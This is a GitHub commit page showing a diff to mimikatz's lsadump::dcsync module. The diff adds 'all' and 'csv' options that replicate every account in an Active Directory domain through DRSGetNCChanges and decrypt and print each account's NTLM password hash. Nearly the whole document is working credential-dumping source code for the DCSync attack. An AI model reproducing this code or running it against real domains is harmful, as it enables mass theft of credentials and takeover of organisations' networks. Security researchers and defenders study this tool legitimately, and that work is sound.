Skip to content

Commit

Permalink
Modify lsadump::dcsync to allow the export of all NTLM of the domain
Browse files Browse the repository at this point in the history
  • Loading branch information
vletoux committed Sep 3, 2017
1 parent 0d79c44 commit cef8891
Show file tree
Hide file tree
Showing 4 changed files with 108 additions and 19 deletions.
106 changes: 87 additions & 19 deletions mimikatz/modules/kuhl_m_lsadump.c
Original file line number Diff line number Diff line change
Expand Up @@ -1702,6 +1702,11 @@ LPCSTR kuhl_m_lsadump_dcsync_oids[] = {
szOID_ANSI_trustPartner, szOID_ANSI_trustAuthIncoming, szOID_ANSI_trustAuthOutgoing,
szOID_ANSI_currentValue,
};
LPCSTR kuhl_m_lsadump_dcsync_oids_export[] = {
szOID_ANSI_name,
szOID_ANSI_sAMAccountName, szOID_ANSI_objectSid,
szOID_ANSI_unicodePwd
};
NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[])
{
LSA_OBJECT_ATTRIBUTES objectAttributes = {0};
Expand All @@ -1717,7 +1722,9 @@ NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[])
LPWSTR szTmpDc = NULL;
DRS_EXTENSIONS_INT DrsExtensionsInt;
BOOL someExport = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL);

BOOL allData = kull_m_string_args_byName(argc, argv, L"all", NULL, NULL);
BOOL csvOutput = kull_m_string_args_byName(argc, argv, L"csv", NULL, NULL);
BOOL moreData = FALSE;
if(!kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL))
if(kull_m_net_getCurrentDomainInfo(&pPolicyDnsDomainInfo))
szDomain = pPolicyDnsDomainInfo->DnsDomainName.Buffer;
Expand All @@ -1732,9 +1739,11 @@ NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[])
if(szDc)
{
kprintf(L"[DC] \'%s\' will be the DC server\n", szDc);
if(kull_m_string_args_byName(argc, argv, L"guid", &szGuid, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
if(allData || kull_m_string_args_byName(argc, argv, L"guid", &szGuid, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
{
if(szGuid)
if(allData)
kprintf(L"[DC] Exporting domain \'%s\'\n", szDomain);
else if(szGuid)
kprintf(L"[DC] Object with GUID \'%s\'\n", szGuid);
else
kprintf(L"[DC] \'%s\' will be the user account\n", szUser);
Expand All @@ -1750,33 +1759,66 @@ NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[])
{
getChReq.V8.pNC = &dsName;
getChReq.V8.ulFlags = DRS_INIT_SYNC | DRS_WRIT_REP | DRS_NEVER_SYNCED | DRS_FULL_SYNC_NOW | DRS_SYNC_URGENT;
getChReq.V8.cMaxObjects = 1;
getChReq.V8.cMaxObjects = (allData?1000:1);
getChReq.V8.cMaxBytes = 0x00a00000; // 10M
getChReq.V8.ulExtendedOp = EXOP_REPL_OBJ;
getChReq.V8.ulExtendedOp = (allData?0:EXOP_REPL_OBJ);

if(getChReq.V8.pPartialAttrSet = (PARTIAL_ATTR_VECTOR_V1_EXT *) MIDL_user_allocate(sizeof(PARTIAL_ATTR_VECTOR_V1_EXT) + sizeof(ATTRTYP) * (ARRAYSIZE(kuhl_m_lsadump_dcsync_oids) - 1)))
if(getChReq.V8.pPartialAttrSet = (PARTIAL_ATTR_VECTOR_V1_EXT *) MIDL_user_allocate(sizeof(PARTIAL_ATTR_VECTOR_V1_EXT) + sizeof(ATTRTYP) * ((allData? ARRAYSIZE(kuhl_m_lsadump_dcsync_oids_export) : ARRAYSIZE(kuhl_m_lsadump_dcsync_oids)) - 1)))
{
getChReq.V8.pPartialAttrSet->dwVersion = 1;
getChReq.V8.pPartialAttrSet->dwReserved1 = 0;
getChReq.V8.pPartialAttrSet->cAttrs = ARRAYSIZE(kuhl_m_lsadump_dcsync_oids);
for(i = 0; i < getChReq.V8.pPartialAttrSet->cAttrs; i++)
kull_m_rpc_drsr_MakeAttid(&getChReq.V8.PrefixTableDest, kuhl_m_lsadump_dcsync_oids[i], &getChReq.V8.pPartialAttrSet->rgPartialAttr[i], TRUE);

if (allData)
{
getChReq.V8.pPartialAttrSet->cAttrs = ARRAYSIZE(kuhl_m_lsadump_dcsync_oids_export);
for(i = 0; i < getChReq.V8.pPartialAttrSet->cAttrs; i++)
kull_m_rpc_drsr_MakeAttid(&getChReq.V8.PrefixTableDest, kuhl_m_lsadump_dcsync_oids_export[i], &getChReq.V8.pPartialAttrSet->rgPartialAttr[i], TRUE);
}
else
{
getChReq.V8.pPartialAttrSet->cAttrs = ARRAYSIZE(kuhl_m_lsadump_dcsync_oids);
for(i = 0; i < getChReq.V8.pPartialAttrSet->cAttrs; i++)
kull_m_rpc_drsr_MakeAttid(&getChReq.V8.PrefixTableDest, kuhl_m_lsadump_dcsync_oids[i], &getChReq.V8.pPartialAttrSet->rgPartialAttr[i], TRUE);
}
RpcTryExcept
{
drsStatus = IDL_DRSGetNCChanges(hDrs, 8, &getChReq, &dwOutVersion, &getChRep);
if(drsStatus == 0)
do
{
if((dwOutVersion == 6) && (getChRep.V6.cNumObjects == 1))
drsStatus = IDL_DRSGetNCChanges(hDrs, 8, &getChReq, &dwOutVersion, &getChRep);
if(drsStatus == 0)
{
if(kull_m_rpc_drsr_ProcessGetNCChangesReply(&getChRep.V6.PrefixTableSrc, getChRep.V6.pObjects))
kuhl_m_lsadump_dcsync_descrObject(&getChRep.V6.PrefixTableSrc, &getChRep.V6.pObjects[0].Entinf.AttrBlock, szDomain, someExport);
else PRINT_ERROR(L"kull_m_rpc_drsr_ProcessGetNCChangesReply\n");
if(dwOutVersion == 6 && (allData || getChRep.V6.cNumObjects == 1))
{
if(kull_m_rpc_drsr_ProcessGetNCChangesReply(&getChRep.V6.PrefixTableSrc, getChRep.V6.pObjects))
{
REPLENTINFLIST* pObject = getChRep.V6.pObjects;
for (i = 0; i < getChRep.V6.cNumObjects; i++)
{
if (csvOutput)
kuhl_m_lsadump_dcsync_descrObject_csv(&getChRep.V6.PrefixTableSrc, &pObject[0].Entinf.AttrBlock);
else
kuhl_m_lsadump_dcsync_descrObject(&getChRep.V6.PrefixTableSrc, &pObject[0].Entinf.AttrBlock, szDomain, someExport);
pObject = pObject->pNextEntInf;
}
}
else
{
PRINT_ERROR(L"kull_m_rpc_drsr_ProcessGetNCChangesReply\n");
break;
}
if (allData)
{
moreData = getChRep.V6.fMoreData;
RtlCopyMemory(&getChReq.V8.uuidInvocIdSrc, &getChRep.V6.uuidInvocIdSrc, sizeof(UUID));
RtlCopyMemory(&getChReq.V8.usnvecFrom, &getChRep.V6.usnvecTo, sizeof(USN_VECTOR));
}
}
else PRINT_ERROR(L"DRSGetNCChanges, invalid dwOutVersion (%u) and/or cNumObjects (%u)\n", dwOutVersion, getChRep.V6.cNumObjects);
kull_m_rpc_drsr_free_DRS_MSG_GETCHGREPLY_data(dwOutVersion, &getChRep);
ZeroMemory(&getChRep, sizeof(DRS_MSG_GETCHGREPLY));
}
else PRINT_ERROR(L"DRSGetNCChanges, invalid dwOutVersion (%u) and/or cNumObjects (%u)\n", dwOutVersion, getChRep.V6.cNumObjects);
kull_m_rpc_drsr_free_DRS_MSG_GETCHGREPLY_data(dwOutVersion, &getChRep);
else PRINT_ERROR(L"GetNCChanges: 0x%08x (%u)\n", drsStatus, drsStatus);
}
else PRINT_ERROR(L"GetNCChanges: 0x%08x (%u)\n", drsStatus, drsStatus);
while(moreData);
IDL_DRSUnbind(&hDrs);
}
RpcExcept(RPC_EXCEPTION)
Expand Down Expand Up @@ -1827,6 +1869,32 @@ BOOL kuhl_m_lsadump_dcsync_decrypt(PBYTE encodedData, DWORD encodedDataSize, DWO
return status;
}

void kuhl_m_lsadump_dcsync_descrObject_csv(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes)
{
DWORD rid = 0;
PVOID samAccountName;
PBYTE unicodePwd;
DWORD unicodePwdSize;
PVOID sid;
BYTE clearHash[LM_NTLM_HASH_LENGTH];

if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_sAMAccountName, &samAccountName, NULL) &&
kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_objectSid, &sid, NULL) &&
kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_unicodePwd, &unicodePwd, &unicodePwdSize))
{
rid = *GetSidSubAuthority(sid, *GetSidSubAuthorityCount(sid) - 1);
kull_m_rpc_drsr_findPrintMonoAttr(NULL, prefixTable, attributes, szOID_ANSI_sAMAccountName, FALSE);
kprintf(L"\t");
kull_m_rpc_drsr_findPrintMonoAttr(NULL, prefixTable, attributes, szOID_ANSI_unicodePwd, FALSE);
if(NT_SUCCESS(RtlDecryptDES2blocks1DWORD(unicodePwd, &rid, clearHash)))
{
kull_m_string_wprintf_hex(clearHash, LM_NTLM_HASH_LENGTH, 0);
}
else PRINT_ERROR(L"RtlDecryptDES2blocks1DWORD");
kprintf(L"\n");
}
}

void kuhl_m_lsadump_dcsync_descrObject(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain, BOOL someExport)
{
kull_m_rpc_drsr_findPrintMonoAttr(L"\nObject RDN : ", prefixTable, attributes, szOID_ANSI_name, TRUE);
Expand Down
1 change: 1 addition & 0 deletions mimikatz/modules/kuhl_m_lsadump.h
Original file line number Diff line number Diff line change
Expand Up @@ -450,6 +450,7 @@ void kuhl_m_lsadump_dcsync_descrUserProperties(PUSER_PROPERTIES properties);
void kuhl_m_lsadump_dcsync_descrTrust(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain);
void kuhl_m_lsadump_dcsync_descrTrustAuthentication(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, PCUNICODE_STRING domain, PCUNICODE_STRING partner, BOOL isIn);
void kuhl_m_lsadump_dcsync_descrSecret(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, BOOL someExport);
void kuhl_m_lsadump_dcsync_descrObject_csv(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes);

typedef wchar_t * LOGONSRV_HANDLE;
typedef struct _NETLOGON_CREDENTIAL {
Expand Down
19 changes: 19 additions & 0 deletions modules/rpc/kull_m_rpc_drsr.c
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,9 @@ BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR
DWORD dcOutVersion = 0;
DRS_MSG_DCINFOREPLY dcInfoRep = {0};
LPWSTR sGuid;
LPWSTR sSid;
LPWSTR sTempDomain;
PSID pSid;
UNICODE_STRING uGuid;

RtlZeroMemory(pDrsExtensionsInt, sizeof(DRS_EXTENSIONS_INT));
Expand Down Expand Up @@ -83,6 +86,22 @@ BOOL kull_m_rpc_drsr_getDomainAndUserInfos(RPC_BINDING_HANDLE *hBinding, LPCWSTR
ObjectGUIDfound = NT_SUCCESS(RtlGUIDFromString(&uGuid, UserGuid));
}
}
else
{
if (kull_m_token_getSidDomainFromName(Domain, &pSid, &sTempDomain, NULL, ServerName))
{
if (ConvertSidToStringSid(pSid, &sSid))
{
if(kull_m_rpc_drsr_CrackName(hDrs, DS_SID_OR_SID_HISTORY_NAME, sSid, DS_UNIQUE_ID_NAME, &sGuid, NULL))
{
RtlInitUnicodeString(&uGuid, sGuid);
ObjectGUIDfound = NT_SUCCESS(RtlGUIDFromString(&uGuid, UserGuid));
}
LocalFree(pSid);
}
LocalFree(sTempDomain);
}
}
}
RpcExcept(RPC_EXCEPTION)
PRINT_ERROR(L"RPC Exception 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
Expand Down
1 change: 1 addition & 0 deletions modules/rpc/kull_m_rpc_drsr.h
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
#include "../kull_m_crypto.h"
#include "../kull_m_string.h"
#include "../kull_m_asn1.h"
#include "../kull_m_token.h"
#include "kull_m_rpc_ms-drsr.h"

typedef struct _DRS_EXTENSIONS_INT {
Expand Down

0 comments on commit cef8891

Please sign in to comment.